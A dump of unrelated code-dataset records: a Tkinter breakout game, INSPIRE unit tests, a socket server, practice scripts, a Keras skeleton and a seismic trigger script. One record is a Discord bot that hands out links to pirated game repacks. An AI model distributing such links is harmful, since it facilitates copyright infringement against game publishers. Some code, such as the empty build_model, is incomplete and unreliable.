Tk()\ntk.title(\"Game\") # 左上のタイトルを書ける\n\ncanvas = Canvas(tk, width=800, height=600, bd=0, highlightthickness=0)\ncanvas.pack()\ntk.update()\n\n# -----------------\n# 描画アイテムを準備する。\npaddle = make_paddle(PADDLE_X0, PADDLE_Y0) # パドル作成\nball = make_ball(BALL_X0, BALL_Y0, BALL_VX, BALL_VY, 10) # ボール作成\nwall = Wall(WALL_X0, WALL_Y0, WALL_W, WALL_H) # 外枠作成\nmake_wall(wall) # 実際に外枠作成\nblocks = [] # 作成されたブロックのリスト\nfor x in range(len(BLOCKS_X)): # 4 回繰り返す(今回は4個ブロックを作るから)\n blocks.append(Block(BLOCKS_X[x], BLOCKS_Y[x], BLOCKS_W[x], BLOCKS_H[x])) # blocks に作成されたブロックを追加\nfor block in blocks: # blocks にあるblockを取ってくる\n make_block(block) # 実際にブロック作成\n\n# イベントと、イベントハンドラを連結する。\ncanvas.bind_all('', left_paddle) # Left 押したら left_paddle 実行\ncanvas.bind_all('', right_paddle) # Right 押したら right_paddle 実行\ncanvas.bind_all('', stop_paddle) # Left 離したら stop_paddle 実行\ncanvas.bind_all('', stop_paddle) # Right 離したら stop_paddle 実行\n\n# -------------------------\n# プログラムのメインループ\nwhile True:\n move_paddle(paddle) # パドルの移動\n move_ball(ball) # ボールの移動\n if ball.x + ball.vx <= wall.x: # ボールが左枠を越えたら\n ball.vx = -ball.vx # ボールを反射させる\n if ball.x + ball.d + ball.vx >= wall.x + wall.w: # ボールが右枠を越えたら\n ball.vx = -ball.vx # ボールを反射させる\n if ball.y + ball.vy <= wall.y: # ボールが上枠を越えたら\n ball.vy = -ball.vy # ボールを反射させる\n if ball.y + ball.d + ball.vy >= WALL_Y0 + WALL_H: # ボールが下枠を越えたら\n break # while を抜ける(終了)\n if paddle.x <= WALL_X0 + 50: # パドルが左横の棒に当たったら\n paddle.x = WALL_X0 + 50 # パドルをその場に止める\n if paddle.x + paddle.w >= WALL_X0 + WALL_W - 50: # パドルが右横の棒に当たったら\n paddle.x = WALL_X0 + WALL_W - 50 - paddle.w # パドルをその場に止める\n # ボールの下側がパドルの上面に届き、横位置がパドルと重なる\n if (paddle.y <= ball.y + ball.d <= paddle.y + paddle.h \\\n and paddle.x <= ball.x + ball.d / 2 <= paddle.x + paddle.w): # パドルにボールが当たったら\n change_paddle_color(paddle, random.choice(COLORS)) # 色を変える\n ball.vy = -ball.vy * REACTION # ボールの移動方向が変わる(反射が大きくなる)\n ball.y = paddle.y - ball.d\n if ball.x <= WALL_X0 + 50 and ball.y + ball.d >= PADDLE_Y0 \\\n or ball.x >= WALL_X0 + WALL_W - 50 and ball.y + ball.d >= PADDLE_Y0: # ボールが左の棒か右の棒に当たったら\n ball.vy = -ball.vy # ボールを反射させる\n\n for x in range(len(BLOCKS_X)): # 4 回繰り返す(今回は4つ作るから)\n block_judge(blocks[x]) # ボールがブロックに当たったら跳ね返す\n\n redraw_paddle(paddle) # パドルの再描画\n redraw_ball(ball) # ボールの再描画\n tk.update() # 描画が画面に反映される。\n time.sleep(DURATION) # 次に描画するまで、sleep する。\n\ntk.mainloop()\n","sub_path":"提出用/20K1026-日比野将己-ex3/ex03-4-blocks.py","file_name":"ex03-4-blocks.py","file_ext":"py","file_size_in_byte":9390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"363898395","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of INSPIRE.\n# Copyright (C) 2016 CERN.\n#\n# INSPIRE is free software; you can redistribute it\n# and/or modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation; either version 2 of the\n# License, or (at your option) any later version.\n#\n# INSPIRE is distributed in the hope that it will be\n# useful, but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with INSPIRE; if not, write to the\n# Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA 02111-1307, USA.\n#\n# In applying this license, CERN does not\n# waive the privileges and immunities granted to it by virtue of its status\n# as an Intergovernmental Organization or submit itself to any jurisdiction.\n\nfrom __future__ import absolute_import, division, print_function\n\nimport mock\nimport httpretty\n\nfrom inspirehep.modules.authors import receivers\n\n\ndef test_name_variations():\n json_dict = {\n \"authors\": [{\n \"full_name\": \"John Richard Ellis\"\n }]\n }\n\n receivers.generate_name_variations(None, json_dict)\n\n assert(\n json_dict['authors'][0]['name_variations'] == [\n 'Ellis',\n 'Ellis J',\n 'Ellis J R',\n 'Ellis J Richard',\n 'Ellis John',\n 'Ellis John R',\n 'Ellis John Richard',\n 'Ellis R',\n 'Ellis Richard',\n 'Ellis, J',\n 'Ellis, J R',\n 'Ellis, J Richard',\n 'Ellis, John',\n 'Ellis, John R',\n 'Ellis, John Richard',\n 'Ellis, R',\n 'Ellis, Richard',\n 'J Ellis',\n 'J R Ellis',\n 'J Richard Ellis',\n 'John Ellis',\n 'John R Ellis',\n 'John Richard Ellis',\n 'R Ellis',\n 'Richard Ellis'])\n\n\ndef test_phonetic_block_generation_ascii(httppretty_mock, app):\n extra_config = {\n \"BEARD_API_URL\": \"http://example.com/beard\",\n }\n\n with app.app_context():\n with mock.patch.dict(app.config, extra_config):\n httpretty.register_uri(\n httpretty.POST,\n \"{base_url}/text/phonetic_blocks\".format(\n base_url=app.config.get('BEARD_API_URL')),\n content_type=\"application/json\",\n body='{\"phonetic_blocks\": {\"John Richard Ellis\": \"ELj\"}}',\n status=200)\n\n json_dict = {\n \"authors\": [{\n \"full_name\": \"John Richard Ellis\"\n }]\n }\n\n receivers.assign_phonetic_block(json_dict)\n\n assert json_dict['authors'][0]['signature_block'] == \"ELj\"\n\n\ndef test_phonetic_block_generation_broken(httppretty_mock, app):\n extra_config = {\n \"BEARD_API_URL\": \"http://example.com/beard\",\n }\n\n with app.app_context():\n with mock.patch.dict(app.config, extra_config):\n httpretty.register_uri(\n httpretty.POST,\n \"{base_url}/text/phonetic_blocks\".format(\n base_url=app.config.get('BEARD_API_URL')),\n content_type=\"application/json\",\n body='{\"phonetic_blocks\": {}}',\n status=200)\n\n json_dict = {\n \"authors\": [{\n \"full_name\": \"** NOT VALID **\"\n }]\n }\n\n receivers.assign_phonetic_block(json_dict)\n\n assert json_dict['authors'][0]['signature_block'] is None\n\n\ndef test_phonetic_block_generation_unicode(httppretty_mock, app):\n extra_config = {\n \"BEARD_API_URL\": \"http://example.com/beard\",\n }\n\n with app.app_context():\n with mock.patch.dict(app.config, extra_config):\n httpretty.register_uri(\n httpretty.POST,\n \"{base_url}/text/phonetic_blocks\".format(\n base_url=app.config.get('BEARD_API_URL')),\n content_type=\"application/json\",\n body=u'{\"phonetic_blocks\": {\"Grzegorz Jacenków\": \"JACANCg\"}}',\n status=200)\n\n json_dict = {\n \"authors\": [{\n \"full_name\": u\"Grzegorz Jacenków\"\n }]\n }\n\n receivers.assign_phonetic_block(json_dict)\n\n assert json_dict['authors'][0]['signature_block'] == \"JACANCg\"\n\n\ndef test_uuid_generation():\n json_dict = {\n \"authors\": [{\n \"full_name\": \"John Doe\",\n \"uuid\": \"I am unique\"\n }, {\n \"full_name\": \"John Richard Ellis\"\n }]\n }\n\n receivers.assign_uuid(json_dict)\n\n # Check if the author with existing UUID has still the same UUID.\n assert(json_dict['authors'][0]['uuid'] == \"I am unique\")\n\n # Check if the author with no UUID got one.\n assert(json_dict['authors'][1]['uuid'] is not None)\n","sub_path":"tests/unit/authors/test_authors_receivers.py","file_name":"test_authors_receivers.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"61086730","text":"import sys\nimport traceback\nimport socket\nimport json\nimport http.client\nfrom datetime import datetime\nfrom typing import Callable, Tuple, Union\n\nfrom .client import Client, Request\n\n\n# def get_rate() -> Tuple[Union[int, float], str]:\n# connection = http.client.HTTPConnection('openexchangerates.org', 80)\n# connection.request(\"GET\", f\"/api/latest.json?app_id={app_id}&?base=USD\")\n# response = json.loads(connection.getresponse().read().decode('utf-8'))\n# rub_rate = response['rates']['RUB']\n# # notice that this datetime will be in server timezone\n# # i'm not sure can i use `pytz`, so i don't wanna romp with default library\n# state_at = datetime.fromtimestamp(response['timestamp']).strftime('%Y-%m-%d %H:%M:%S')\n#\n# return rub_rate, state_at\n\n\nclass Server:\n def __init__(self, urls, host: str = '0.0.0.0', port: int = 5000) -> None:\n print(f'Server initialized by address - {host}:{port}')\n self.socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.socket.bind((host, port))\n self.handlers = {}\n self.__collect_handlers(urls)\n\n def __collect_handlers(self, urls):\n for path in urls:\n self.handlers[path] = urls[path]\n\n def run(self) -> None:\n self.socket.listen()\n while True:\n client_socket, client_addr = self.socket.accept()\n self.handle_client(client_socket=client_socket)\n\n client_socket.close()\n\n def handle_request(self, request: Request) -> Tuple[int, str]:\n if request.path in self.handlers:\n return self.handlers[request.path](request)\n else:\n # TODO custom exception\n raise BaseException('not found')\n\n # for handler in self.handlers:\n # if handler.can_handle(request=request):\n # return handler.handle(request)\n # `else` case is unreachable because we have handler `any`\n\n def handle_client(self, client_socket: socket.socket) -> None:\n client = Client(client_socket)\n request = client.parse_request()\n try:\n response = self.handle_request(request=request)\n except:\n _, ex, tb = sys.exc_info()\n tb_message = '\\r'.join(traceback.format_tb(tb))\n err_message = str(ex)\n # TODO custom exception\n if err_message == 'not found':\n response = (404, 'not found')\n else:\n response = (500, 'smth gone wrong')\n f = open(\"error.log\", \"a\")\n f.write(f'{datetime.now()}\\n{tb_message}{err_message}\\r\\n\\r\\n')\n f.close()\n finally:\n client.send_response(response=response, request=request)\n\n\n # def post(self, path: str) -> Callable[[Request], Callable[[Request], Tuple[int, str]]]:\n # def decorator(f) -> Callable[[Request], Tuple[int, str]]:\n # class Handler:\n # def can_handle(self, request: Request) -> bool:\n # # TODO what if url path is exist, but method is not allowed?\n # return request.method == 'POST' and request.path == path\n #\n # def handle(self, request: Request) -> Tuple[int, str]:\n # return f(request)\n #\n # self.handlers.append(Handler())\n # return f\n #\n # return decorator\n #\n # def status_404(self) -> Callable[[Request], Callable[[Request], Tuple[int, str]]]:\n # def decorator(f):\n # class Handler:\n # def can_handle(self, request: Request) -> bool:\n # return True\n #\n # def handle(self, request: Request) -> Tuple[int, str]:\n # return f(request)\n #\n # self.handlers.append(Handler())\n # return f\n #\n # return decorator\n","sub_path":"src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"209531106","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Autor: Julian Cordes\r\n\r\n\r\nName = 'Julian Cordes'\r\n\r\n#print(Name)\r\n\r\n#print(Name[2])\r\n\r\n#for character in Name:\r\n#\tprint(character)\r\n\r\n\r\n\r\n#print(Name[:6])\r\n#print(Name[len(Name)-2:])\r\n\r\n\r\n\r\n#delimitedText = \"831,Bambi-Filmtheater,Hansastrasse 18,88,44137,Dortmund,DE44137DORTMBAMBIHANSA\"\r\n\r\n#for field in delimitedText.split(',',3):\r\n#\tprint(field)\r\n\r\n\r\n\r\n\"\"\"\r\nSQL = \"SELECT * FROM %s WHERE SENDUNGNR = %s\" %('TBSENDUNGEN','3962342')\r\n\r\nprint(SQL)\r\n\r\n\"\"\"\r\n","sub_path":"Python Schulung/strings_3.py","file_name":"strings_3.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"527005867","text":"# (C) Datadog, Inc. 2018-present\n# All rights reserved\n# Licensed under a 3-clause BSD style license (see LICENSE)\n\nimport os\nfrom time import sleep\n\nimport mock\nimport pytest\nimport requests\n\nfrom datadog_checks.dev import docker_run\nfrom datadog_checks.dev.conditions import CheckEndpoints\n\nfrom .common import (\n CONFIG,\n GITLAB_LOCAL_PORT,\n GITLAB_LOCAL_PROMETHEUS_PORT,\n GITLAB_PROMETHEUS_ENDPOINT,\n GITLAB_TEST_PASSWORD,\n GITLAB_URL,\n HERE,\n)\n\n\n@pytest.fixture(scope=\"session\")\ndef dd_environment():\n \"\"\"\n Spin up and initialize gitlab\n \"\"\"\n\n # specify couchbase container name\n env = {\n 'GITLAB_TEST_PASSWORD': GITLAB_TEST_PASSWORD,\n 'GITLAB_LOCAL_PORT': str(GITLAB_LOCAL_PORT),\n 'GITLAB_LOCAL_PROMETHEUS_PORT': str(GITLAB_LOCAL_PROMETHEUS_PORT),\n }\n\n with docker_run(\n compose_file=os.path.join(HERE, 'compose', 'docker-compose.yml'),\n env_vars=env,\n conditions=[CheckEndpoints(GITLAB_URL, attempts=200), CheckEndpoints(GITLAB_PROMETHEUS_ENDPOINT)],\n ):\n # run pre-test commands\n for _ in range(100):\n requests.get(GITLAB_URL)\n sleep(2)\n\n yield CONFIG\n\n\n@pytest.fixture()\ndef mock_data():\n f_name = os.path.join(os.path.dirname(__file__), 'fixtures', 'metrics.txt')\n with open(f_name, 'r') as f:\n text_data = f.read()\n with mock.patch(\n 'requests.get',\n return_value=mock.MagicMock(\n status_code=200, iter_lines=lambda **kwargs: text_data.split(\"\\n\"), headers={'Content-Type': \"text/plain\"}\n ),\n ):\n yield\n","sub_path":"gitlab/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"547314908","text":"# import functools\n#\n# def add(x, y) -> int:\n# return x + y\n#\n# newadd = functools.partial(add, y=5)\n#\n# print(newadd(7))\n# print(newadd(7,y=6))\n# print(newadd(y=10,x=6))\n# =============================================\n# import functools\n#\n# def add(x, y, *args) -> int:\n# print(args)\n# return x + y\n#\n# newadd = functools.partial(add, 1, 5, 4, 2)\n#\n# print(newadd(7))\n# print(newadd(7,10))\n# ==================================================\nimport functools\nimport time\n@functools.lru_cache()\ndef add(x, y):\n time.sleep(3)\n print(x+y)\n return x + y\n\n#\n# # add(4)\n# add(4,5)\n# add(4.0, 5)\n# add(4,6)\n# add(4,6,3)\n# add(6,4)\n# add(4,y=6)\nadd(x=4,y=6)\nadd(y=6,x=4)\n# ==========================\n# import functools\n#\n# @functools.lru_cache()\n# def fib(n):\n# if n < 3:\n# return n\n# return fib(n-1) + fib(n-2)\n#\n# print([fib(x) for x in range(35)])\n# # print([x for x in range(35)])\n# print(fib(34))","sub_path":"练习/functools.py","file_name":"functools.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"16670883","text":"import json\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nimport tensorflow.keras as keras\n\nDATA_PATH = \"/home/govind/Documents/ML/Velario Youtube/extracting_mfccs_music_genre/data.json\"\n\n\ndef load_data(data_path):\n \"\"\"Loads training dataset from json file\n\n Args:\n data_path (str): path to json file\n Returns:\n x (ndarray) : Inputs\n y (ndarray) : Targets\n \"\"\"\n\n with open(data_path, \"r\") as fp:\n data = json.load(fp)\n\n x = np.array(data[\"mfcc\"])\n y = np.array(data[\"labels\"])\n\n return x, y\n\n\ndef plot_history(history):\n \"\"\"Plots accuracy/loss for training/validation set as a function of epochs\n\n Args:\n history (object): Training history of model\n \"\"\"\n\n fig, axs = plt.subplots(2)\n\n # create accuracy subplot\n axs[0].plot(history.history[\"accuracy\"], label=\"train accuracy\")\n axs[0].plot(history.history[\"val_accuracy\"], label=\"test accuracy\")\n axs[0].set_ylabel(\"Accuracy\")\n axs[0].legend(loc=\"upper right\")\n axs[0].set_title(\"Accuracy eval\")\n\n # create loss subplot\n axs[1].plot(history.history[\"loss\"], label=\"train loss\")\n axs[1].plot(history.history[\"val_loss\"], label=\"test loss\")\n axs[1].set_ylabel(\"Loss\")\n axs[1].legend(loc=\"lower right\")\n axs[1].set_title(\"loss eval\")\n\n\ndef prepare_datasets(test_size=0.25, validation_size=0.2):\n \"\"\"Loads data and splits it into train, test and validation sets\n\n Args:\n test_size (float, optional): Value in [0,1] indicating ratio of dataset to be used as test set. Defaults to 0.25.\n validation_size (float, optional): Value in [0,1].indicating ratio of rest of the dataset to be used as validation set Defaults to 0.2.\n Returns:\n x_train (ndarray): Inputs used for training\n x_validation (ndarray): Inputs used for validation\n x_test (ndarray): Inputs used for testing\n y_train (ndarray): Targets used for training\n y_validation (ndarray): Targets used for validation\n y_test (ndarray): Targets used for testing\n \"\"\"\n\n # load data\n x, y = load_data(DATA_PATH)\n\n # create train, test and validation split\n x_train, x_test, y_train, y_test = train_test_split(\n x, y, test_size=test_size)\n x_train, x_validation, y_train, y_validation = train_test_split(\n x_train, y_train, test_size=validation_size)\n\n # add an axis to input sets\n x_train = x_train[..., np.newaxis]\n x_test = x_test[..., np.newaxis]\n x_validation = x_validation[..., np.newaxis]\n\n return x_train, x_test, x_validation, y_train, y_test, y_validation\n\n\ndef build_model(input_shape):\n \"\"\"Generates CNN model\n\n Args:\n input_shape (tuple)): Shape of input set\n Returns:\n model : CNN model\n \"\"\"\n\n\ndef predict(model, x, y):\n \"\"\"Predict a single sample using the trained model\n\n Args:\n model : Trained model\n x ([type]): Input data\n y ([type]): Target\n \"\"\"\n\n # add a dimension to input data for sample\n x = x[np.newaxis, ...]\n\n # perform prediction\n prediction = model.predict(x)\n\n # get index with max value\n predicted_index = np.argmax(prediction, axis=1)\n\n print(\"Target: {}, Predicted label: {}\".format(y, predicted_index))\n\n\nif __name__ == \"__main__\":\n # get train, validation, test splits\n x_train, x_test, x_validation, y_train, y_test, y_validation = prepare_datasets(\n 0.25, 0.2)\n\n # create network\n input_shape = (x_train.shape[1], x_train.shape[2], 1)\n model = build_model(input_shape=input_shape)\n\n # compile model\n optimiser = keras.optimizers.Adam(learning_rate=0.0001)\n model.compile(optimizer=optimiser,\n loss=\"sparse_categorical_crossentropy\",\n metrics=[\"accuracy\"])\n\n model.summary()\n\n # train model\n history = model.fit(x_train, y_train, validation_data=(\n x_validation, y_validation), batch_size=32, epochs=30)\n\n # plot accuraccy/error for training and validation\n plot_history(history)\n\n # evaluate model on test set\n test_loss, test_acc = model.evaluate(x_test, y_test, verbose=1)\n print(\"\\nTest accuracy:\", test_acc)\n print(\"\\nTest loss:\", test_loss)\n\n # predict sample\n predict(model, x_test[9], y_test[9]) # can input any data here\n","sub_path":"birdsong_birdsong_classification.py.py","file_name":"birdsong_birdsong_classification.py.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"270652404","text":"\"\"\"\nPython makes performing file I/O simple. Take a look\nat how to read and write to files here:\n\nhttps://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files\n\"\"\"\n\n# Open up the \"foo.txt\" file (which already exists) for reading\n# Print all the contents of the file, then close the file\n# Note: pay close attention to your current directory when trying to open \"foo.txt\"\n\nfilename = open('foo.txt', mode='r')\nfor x in filename:\n print(x)\n\nfilename.close()\n\n# with \nfilename = 'foo.txt' \n \nwith open(filename) as f_obj:\n contents = f_obj.read() \n \nprint(contents) \n\n\n\n\n# Open up a file called \"bar.txt\" (which doesn't exist yet) for\n# writing. Write three lines of arbitrary content to that file,\n# then close the file. Open up \"bar.txt\" and inspect it to make\n# sure that it contains what you expect it to contain\n\nbar = open(file = \"bar.txt\", mode = 'w')\nbar.write('Mary had a little lamb')\nbar.write('Four score and seven years ago')\nbar.write('Run Forest run')\nbar.close()","sub_path":"src/13_file_io.py","file_name":"13_file_io.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"1161018","text":"import discord\r\nimport logging\r\nimport asyncio\r\nclient=discord.Client()\r\n#If you want to use my code as a base then go ahead but don't copy the exact code, change the values\r\n\r\n\r\n@client.event\r\nasync def on_message(message):\r\n ...\r\n if message.content == \"!botinfo\":\r\n embed = discord.Embed(title=\"Pirate Naigator Info\", description=\"Yaar! Know who I am!\")\r\n embed.add_field(name=\"Developed on\", value=\"August 2020\")\r\n embed.add_field(name=\"Programming Language\", value=\"Python\")\r\n embed.add_field(name=\"Developed by\", value=\"Watch_Doge\")\r\n embed.add_field(name=\"Version\", value=\"1.1.1\")\r\n embed.add_field(name=\"Source Code\", value=\"https://github.com/HeliumSpectrum/Pirate-Navigator-Source-Code\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games-ac\":\r\n embed = discord.Embed(title=\"Here are some games for ya, pirate\", description=\"Remember to use a torrent client\") \r\n embed.add_field(name=\"Assassin's Creed Odyssey\", value=\" https://fitgirl-repacks.site/assassins-creed-odyssey/\")\r\n embed.add_field(name=\"Assassin's Creed Origins\", value=\" https://fitgirl-repacks.site/assassins-creed-origins/\")\r\n embed.add_field(name=\"Assassin's Creed Syndicate\", value=\" https://fitgirl-repacks.site/assassins-creed-syndicate-gold-edition/\")\r\n embed.add_field(name=\"Assassin's Creed Rogue\", value=\"https://fitgirl-repacks.site/assassins-creed-rogue/\")\r\n embed.add_field(name=\"Assassin's Creed 3 Remastered\", value=\"https://fitgirl-repacks.site/assassins-creed-3-remastered/\")\r\n embed.add_field(name=\"Assassin's Creed 4 \", value=\"https://fitgirl-repacks.site/assassins-creed-iv-black-flag-jackdaw-edition/\")\r\n embed.add_field(name=\"Assassin's Creed Unity\", value=\"https://fitgirl-repacks.site/assassins-creed-unity-v1-5-0-dlcs/\")\r\n embed.add_field(name=\"Assassin's Creed Chronicles\", value=\"https://fitgirl-repacks.site/assassins-creed-chronicles-trilogy/\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games\":\r\n embed = discord.Embed(title=\"Here are some commands for games collections\", description=\"Use the commands for games\")\r\n embed.add_field(name=\"Assassin's Creed Collection\", value=\"!games-ac\")\r\n embed.add_field(name=\"GTA collection\", value=\"!games-gta\")\r\n embed.add_field(name=\"Free to play Games\", value=\"!games-free\")\r\n embed.add_field(name=\"Far Cry Collection\", value=\"!games-farcry\")\r\n embed.add_field(name=\"Watch Dogs Collection\", value=\"!games-watchdogs\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games-gta\":\r\n embed = discord.Embed(title=\"Here are some GTA Games for you\", description=\"Remember to use a torrent client\")\r\n embed.add_field(name=\"GTA 5\", value=\"https://fitgirl-repacks.site/grand-theft-auto-v/\")\r\n embed.add_field(name=\"GTA 4\", value=\" https://fitgirl-repacks.site/grand-theft-auto-iv-complete-edition/\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games-free\":\r\n embed = discord.Embed(title=\"Here are some Free games to download\", description=\"You dont need torrent for these\")\r\n embed.add_field(name=\"PUBG PC Lite\", value=\" https://lite.pubg.com/download/\")\r\n embed.add_field(name=\"Valorant\", value=\"https://playvalorant.com/en-us/\")\r\n embed.add_field(name=\"COD Warzone\", value=\"https://www.callofduty.com/warzone/download\")\r\n embed.add_field(name=\"Apex Legends\", value=\"https://www.ea.com/games/apex-legends/play-now-for-free\")\r\n embed.add_field(name=\"Fortnite\", value=\"https://www.epicgames.com/fortnite/en-US/download?sessionInvalidated=true\")\r\n embed.add_field(name=\"Rocket League\", value=\"https://www.epicgames.com/store/en-US/product/rocket-league/home\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games-farcry\":\r\n embed = discord.Embed(title=\"Here are some Far Cry Games\", description=\"Remember to use a torrent client\")\r\n embed.add_field(name=\"Far Cry Primal\", value=\" https://fitgirl-repacks.site/far-cry-primal-apex-edition-v1-3-3-dlcs-ultra-hd-textures/\")\r\n embed.add_field(name=\"Far Cry 5\", value=\" https://fitgirl-repacks.site/far-cry-5/\")\r\n embed.add_field(name=\"Far Cry 3+Blood Dragon\", value=\" https://fitgirl-repacks.site/far-cry-3-duology/\")\r\n embed.add_field(name=\"Far Cry New Dawn\", value=\" https://fitgirl-repacks.site/far-cry-new-dawn/\")\r\n embed.add_field(name=\"Far Cry 4\", value=\" https://fitgirl-repacks.site/far-cry-4-gold-edition/\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\n\r\n ...\r\n if message.content == \"!games-watchdogs\":\r\n embed = discord.Embed(title=\"Here are some Watch dogs Games\", description=\"remember to use a torrent client\")\r\n embed.add_field(name=\"Watch_dogs1\", value=\" https://fitgirl-repacks.site/watch-dogs-v1-06-329-all-dlcs/\")\r\n embed.add_field(name=\"Watch_Dogs2\", value=\" https://fitgirl-repacks.site/watch-dogs-2-gold-edition/\")\r\n await message.channel.send(content=None, embed=embed)\r\n ...\r\nclient.run('token')","sub_path":"Source Code V1.1.1.py","file_name":"Source Code V1.1.1.py","file_ext":"py","file_size_in_byte":5364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"263898075","text":"import numpy as np\nimport matplotlib.pyplot as plt \nfrom obspy.core import *\nfrom obspy.signal.trigger import plot_trigger\nfrom obspy.signal.trigger import classic_sta_lta\nimport sys\nimport os \nimport scipy.io as sio\nfrom datetime import datetime\n\n\n#from EarthquakeTimes import * \nfrom datetime import date, datetime, timedelta\n\n\ncoordinates={'B941':[54.0751, 17.6372],\n'B914':[54.3719, 17.5664],\n'B904':[54.2062, 18.1451],\n'B955':[53.9641, 18.0097],\n'B952':[53.9062, 17.5355],\n'B953':[53.9370, 17.1490],\n'B954':[54.1963, 17.1310],\n'B940':[54.5347, 18.0428],\n'B93E':[54.1295, 18.6132],\n'B93F':[53.6429, 18.0682],\n'B93D':[53.5992, 17.1992], \n'B956':[53.5992, 17.1992],\n'B906':[54.5400, 17.1334]}\n\n\nday = sys.argv[1]\nstation_name = sys.argv[2]\n\n\n# obsługa błędu niepodania dwóch parametrów \nwhile True:\n try:\n if len(sys.argv[1]) and len(sys.argv[2]):\n print(\"Udane wczytanie dwóch parametrów\")\n break\n except:\n print(\"Blad podania dwoch argumentow\")\n \n \nstation_coord=coordinates[station_name]\n\n \n \nST = UTCDateTime(day, iso8601=True) \nET = ST + 86400 \n\nS = Stream()\nfor a in range(-1,2):\n\tdate = datetime.strftime(ST.datetime+timedelta(days=a),\"%Y%j\")\n\tfile = \"/Users/noon/Documents/Studia/Magisterka/Dane/13BB_\"+day+\"/\"+station_name+\"_\"+day+\".mseed\"\n\tif os.path.isfile(file):\n\t\tif os.stat(file).st_size > 0:\n\t\t\tS = S + read(file)\nS._cleanup(); #ZNALAZLAM TO W METODZIE MERGE, ALE NIE ROZUMIEM PO CO TU TO JEST\n\n\n#Tego na razie nie robimy - to zrobimy potem\n#S.trim(ST-3600,ET+3600) \n\nprint(S)\nprint()\nZ = S.select(component=\"Z\")\nprint(Z)\ndf = Z[0].stats.sampling_rate\nprint(\"df=\",df)\nZ.filter('lowpass', freq=1.0, corners=2, zerophase=True)\ncft={}\nfor i in range(len(Z)):\n cft[i]=classic_sta_lta(Z[i].data, int(60 * df), int(180 * df))\n# plot_trigger(Z[i],cft[i], 1.5, 0.5)\n\n\n#Lista triggerow w zapisie True/False dla każdego z odcinków, czestosc zapisu - 100 Hz\ntrig3={}\n#num=[]\nfor k in range(len(cft)):\n trig3[k]=[]\n for i in range(len(cft[k])):\n if cft[k][i]>1.5:\n trig3[k].append(True)\n# num.append(i)\n else:\n trig3[k].append(False)\n\n#zmniejszenie czestosci zapisu\ntrig2={}\nfor k in range(len(cft)):\n trig2[k]=[]\n for i in range(int(len(trig3[k])/100)):\n if trig3[k][3*i]==True or trig3[k][(3*i)+1]==True or trig3[k][(3*i)+2]==True:\n trig2[k].append(True)\n else:\n trig2[k].append(False)\n \n \n#wyciąganie dłigosci przerw w zapisach \ngap={}\nfor i in range(len(cft)-1): #przerw jest o 1 mniej niz odcinkow \n start=str(Z[i].stats.endtime)\n start_sec=int(start[11:13])*3600+int(start[14:16])*60+round(float(start[17:22]))\n end=str(Z[i+1].stats.starttime)\n end_sec=int(start[11:13])*3600+int(end[14:16])*60+round(float(end[17:22]))\n gap[i]=end_sec-start_sec\n \n#sklejanie\nif len(cft)!=1:\n trig=[] \n file = open('List_gaps.txt', 'w')\n file.write(day+ \", \"+ station_name)\n file.close()\n for k in range(len(cft)-1):\n for i in range(len(trig2[k])):\n trig.append(trig2[k][i])\n for s in range(gap[k]):\n trig.append(0)\n\n for i in range(len(trig2[len(cft)-1])):\n trig.append(trig2[len(cft)-1][i]) \n \nelse:\n trig=trig2[0]\n \n \n#znalezienie czasow fal po dotarciu do Polski\n \n#PolishTimes2=[] #2D array\n#PolishTimes=[]\n#for i in range(len(EarthQ)):\n# dist_temp=Distance([EarthQ_lat[i], EarthQ_long[i]], station_coord)\n# time_temp=TrTime(dist_temp,EarthQ_depth[i])\n# time_temp_pol=time_temp+np.repeat(EarthQ_time[i],len(time_temp))\n# PolishTimes2.append(time_temp_pol)\n \n\n#for i in range(len(PolishTimes2)):\n# for k in range(len(PolishTimes2[i])):\n# PolishTimes.append(PolishTimes2[i][k])\n\n#zaokrąglenie \n#for i in range(len(PolishTimes)):\n# if PolishTimes[i]-int(PolishTimes[i])<0.5:\n# PolishTimes[i]=int(PolishTimes[i])\n# else:\n# PolishTimes[i]=int(PolishTimes[i])+1\n\n#Wyrzucenie trzesien ziemi z listy\n#for i in 